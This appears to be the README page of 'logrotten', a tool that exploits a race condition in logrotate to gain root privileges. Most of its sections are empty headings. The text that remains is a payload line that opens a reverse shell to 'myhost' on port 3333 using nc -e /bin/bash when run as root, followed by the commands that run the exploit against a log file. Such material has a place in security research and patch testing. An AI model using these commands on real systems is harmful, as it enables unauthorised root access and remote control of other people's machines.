Home

Awesome

Winning a race condition in logrotate to elevate privileges

Logrotten Logo

Brief description

Precondition for privilege escalation

Tested version

Compile

Prepare payload

echo "if [ `id -u` -eq 0 ]; then (/bin/nc -e /bin/bash myhost 3333 &); fi" > payloadfile

Run exploit

If "create"-option is set in logrotate.cfg:

./logrotten -p ./payloadfile /tmp/log/pwnme.log

If "compress"-option is set in logrotate.cfg:

./logrotten -p ./payloadfile -c -s 4 /tmp/log/pwnme.log

Known Problems

Mitigation

Author

References